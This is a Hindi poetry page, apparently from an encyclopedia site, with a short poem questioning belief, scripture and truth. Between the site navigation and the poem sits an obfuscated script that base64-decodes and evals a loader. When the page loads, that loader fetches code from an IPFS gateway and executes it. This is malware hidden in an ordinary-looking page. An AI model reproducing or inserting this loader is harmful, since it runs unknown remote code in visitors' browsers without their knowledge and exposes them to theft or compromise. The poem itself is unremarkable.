न मानूँ तो क्या ?
नेविगेशन पर जाएँ
खोज पर जाएँ
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
तन सीमाओं में रोये
मन अनन्त मदमस्त,
माया अधरों की जाम
पाप पुण्य में व्यस्त,
सत-मन चाप यदि, न तानूँ तो क्या ?
क्यूँ किसको मानूँ , न मानूँ तो क्या ?
नयन ज्ञान स्तम्भ
और दृष्टि परे की बात,
बिन नीव के अजान
किस स्रष्टा के साथ
वेद-कुरआन खिचड़ी,न जानूँ तो क्या ?
क्यूँ किसको मानूँ , न मानूँ तो क्या ?
रूखा सूखा तन काटे
उपवन मन हत्यारा,
सत्य निकट विलम्बित
झूठ दूर का प्यारा
नभ ,नक्षत्र, मही, न छानूँ तो क्या ?
क्यूँ किसको मानूँ , न मानूँ तो क्या ?